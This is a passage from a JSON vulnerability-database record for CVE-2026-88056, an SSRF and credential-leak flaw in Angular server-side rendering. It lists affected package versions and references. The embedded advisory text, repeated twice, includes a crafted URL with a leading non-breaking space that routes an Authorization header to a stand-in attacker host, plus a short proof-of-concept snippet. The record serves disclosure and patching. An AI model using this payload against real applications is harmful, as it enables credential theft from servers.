17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/forms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/forms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/forms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/localize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/localize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/localize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/localize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser-dynamic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser-dynamic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser-dynamic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser-dynamic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/service-worker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/service-worker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/service-worker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/service-worker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.8.3-1","1.8.3-1+deb12u1","1.8.3-1+deb12u1~deb11u1","1.8.3-2","1.8.3-3"]},{"source":"osv","ecosystem":"Debian:13","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.8.3-3"]},{"source":"osv","ecosystem":"npm","package":"@angular/platform-server","ranges":[{"type":"SEMVER","events":[{"introduced":"22.0.0"},{"fixed":"22.1.4"}]}]},{"source":"osv","ecosystem":"npm","package":"@angular/platform-server","ranges":[{"type":"SEMVER","events":[{"introduced":"21.0.0"},{"fixed":"21.2.22"}]}]},{"source":"osv","ecosystem":"npm","package":"@angular/platform-server","ranges":[{"type":"SEMVER","events":[{"introduced":"20.0.0"},{"fixed":"20.3.30"}]}]},{"source":"osv","ecosystem":"npm","package":"@angular/platform-server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"19.2.25"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.28-1ubuntu2","1.2.28-1ubuntu2+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.10-1","1.5.10-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.10-1","1.7.9-1","1.7.9-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.8.2-2","1.8.2-2ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.8.3-1","1.8.3-1ubuntu0.24.04.1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.8.3-3"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"angular.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.8.3-3"]}],"products":[{"vendor":"angular","product":"angular"}],"references":[{"url":"https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/angular/angular/releases/tag/v20.3.30","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/angular/angular/releases/tag/v21.2.22","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/angular/angular/releases/tag/v22.1.4","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599","tags":["web"]},{"url":"https://github.com/advisories/GHSA-f6mr-pjwc-34m4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/88xxx/CVE-2026-88056.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88056","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-88056","tags":["advisory"]},{"url":"https://github.com/angular/angular","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-88056","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-88056","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-88056","title":"Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","status":"published","published":"2026-09-10T18:42:34.054Z","modified":"2026-09-15T14:56:52.167Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:42:04.39372Z"}],"euvd":[{"id":"EUVD-2026-75675","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","status":"published","published":"2026-09-10T18:42:34Z","modified":"2026-09-15T14:56:52Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:28:18.105573Z"}],"ghsa":[{"id":"GHSA-f6mr-pjwc-34m4","title":"Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR","description":"### Summary\nA discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.\n\n### Technical Description\nWhen applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks.\n\nHowever, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request.\n\n### Impact \u0026 Reachability\n* **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.\n* **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.\n\n\n**Proof of Concept:**\n```ts\n// Interceptor performing same-origin validation\nconst trustedOrigin = new URL('http://localhost:4000/');\nconst target = new URL(req.urlWithParams, trustedOrigin);\n\nif (target.origin !== trustedOrigin.origin) {\n  throw new Error('Cross-origin request blocked');\n}\n\n// Request passes validation, server attaches sensitive credential:\nconst authenticatedReq = req.clone({\n  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),\n});\n\n// @angular/platform-server previously trimmed the URL, converting it into\n// //attacker.example/collect and routing the credential to the attacker.\n```\n\n### Workarounds\n* Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\\u00A0`) before performing origin checks or passing them to `HttpClient`.\n* Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.","status":"published","published":"2026-09-10T20:19:43Z","modified":"2026-09-10T20:19:44Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:41:15.803194Z"}],"nvd":[{"id":"CVE-2026-88056","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","status":"published","published":"2026-09-10T19:17:41.477Z","modified":"2026-09-29T19:02:56.377Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"primary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:46.271848Z"}],"osv":[{"id":"CVE-2026-88056","title":"Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","status":"published","published":"2026-09-10T18:42:34.054Z","modified":"2026-10-28T02:30:44.010902239Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:19.210277Z"},{"id":"DEBIAN-CVE-2026-88056","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","status":"published","published":"2026-09-10T19:17:41.477Z","modified":"2026-09-30T09:00:21.773876555Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:46:05.506112Z"},{"id":"GHSA-f6mr-pjwc-34m4","title":"Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR","description":"### Summary\nA discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.\n\n### Technical Description\nWhen applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks.\n\nHowever, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request.\n\n### Impact \u0026 Reachability\n* **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.\n* **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.\n\n\n**Proof of Concept:**\n```ts\n// Interceptor performing same-origin validation\nconst trustedOrigin = new URL('http://localhost:4000/');\nconst target = new URL(req.urlWithParams, trustedOrigin);\n\nif (target.origin !== trustedOrigin.origin) {\n  throw new Error('Cross-origin request blocked');\n}\n\n// Request passes validation, server attaches sensitive credential:\nconst authenticatedReq = req.clone({\n  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),\n});\n\n// @angular/platform-server previously trimmed the URL, converting it into\n// //attacker.example/collect and routing the credential to the attacker.\n```\n\n### Workarounds\n* Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\\u00A0`) before performing origin checks or passing them to `HttpClient`.\n* Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.","status":"published","published":"2026-09-10T20:19:43Z","modified":"2026-09-10T20:30:04.442574905Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:46.006631Z"},{"id":"UBUNTU-CVE-2026-88056","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","status":"published","published":"2026-09-10T19:17:00Z","modified":"2026-10-17T13:01:15.68990986Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T16:57:24.828975Z"},{"id":"CLSA-2026-1790443334","title":"TuxCare security update for @angular (1 CVE)","description":"TuxCare rebuilt 3 @angular packages to address 1 CVE. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-09-26T17:22:14Z","modified":"2026-11-02T19:58:38.563315655Z","updated_at":"2026-11-02T20:23:16.654089Z"},{"id":"CLSA-2026-1790489187","title":"TuxCare security update for @angular (5 CVEs)","description":"TuxCare rebuilt 3 @angular packages to address 5 CVEs. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-09-27T06:06:27Z","modified":"2026-10-19T07:45:41.710414737Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790597611","title":"TuxCare security update for @angular (8 CVEs)","description":"TuxCare rebuilt 13 @angular packages to address 8 CVEs. Fixed in 19.2.18-tuxcare.1.","status":"published","published":"2026-09-28T12:13:31Z","modified":"2026-10-16T16:30:44.192495511Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790597633","title":"TuxCare security update for @angular (8 CVEs)","description":"TuxCare rebuilt 13 @angular packages to address 8 CVEs. Fixed in 19.2.14-tuxcare.1.","status":"published","published":"2026-09-28T12:13:53Z","modified":"2026-10-16T16:30:44.598977262Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790597654","title":"TuxCare security update for @angular (9 CVEs)","description":"TuxCare rebuilt 13 @angular packages to address 9 CVEs. Fixed in 18.2.13-tuxcare.1.","status":"published","published":"2026-09-28T12:14:14Z","modified":"2026-10-16T16:30:44.210792715Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790887532","title":"TuxCare security update for @angular (3 CVEs)","description":"TuxCare rebuilt 2 @angular packages to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-01T20:45:32Z","modified":"2026-10-19T07:45:19.02628476Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1791195835","title":"TuxCare security update for @angular/language-service (9 CVEs)","description":"TuxCare rebuilt @angular/language-service to address 9 CVEs. Fixed in 19.2.14-tuxcare.3.","status":"published","published":"2026-10-05T10:23:55Z","modified":"2026-10-19T07:45:46.680732429Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1792160931","title":"TuxCare security update for @angular/animations (8 CVEs)","description":"TuxCare rebuilt @angular/animations to address 8 CVEs. Fixed in 18.2.13-tuxcare.1.","status":"published","published":"2026-10-16T14:28:47Z","modified":"2026-11-02T19:58:47.411827144Z","updated_at":"2026-11-02T20:22:33.689046Z"},{"id":"CLSA-2026-1792160992","title":"TuxCare security update for @angular/router (3 CVEs)","description":"TuxCare rebuilt @angular/router to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-16T14:29:48Z","modified":"2026-10-16T16:30:55.951224744Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161313","title":"TuxCare security update for @angular/animations (3 CVEs)","description":"TuxCare rebuilt @angular/animations to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-16T14:35:13Z","modified":"2026-11-02T19:58:42.113067744Z","updated_at":"2026-11-02T20:22:53.438589Z"},{"id":"CLSA-2026-1792161355","title":"TuxCare security update for @angular/animations (3 CVEs)","description":"TuxCare rebuilt @angular/animations to address 3 CVEs. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-10-16T14:35:55Z","modified":"2026-11-02T19:58:26.197589189Z","updated_at":"2026-11-02T20:24:04.539092Z"},{"id":"CLSA-2026-1792161356","title":"TuxCare security update for @angular/animations (6 CVEs)","description":"TuxCare rebuilt @angular/animations to address 6 CVEs. Fixed in 19.2.18-tuxcare.1.","status":"published","published":"2026-10-16T14:35:56Z","modified":"2026-11-02T19:58:55.250916454Z","updated_at":"2026-11-02T20:21:56.452101Z"},{"id":"CLSA-2026-1792161357","title":"TuxCare security update for @angular/animations (6 CVEs)","description":"TuxCare rebuilt @angular/animations to address 6 CVEs. Fixed in 19.2.14-tuxcare.1.","status":"published","published":"2026-10-16T14:35:57Z","modified":"2026-11-02T19:59:10.67167046Z","updated_at":"2026-11-02T20:20:38.202286Z"},{"id":"CLSA-2026-1792161358","title":"TuxCare security update for 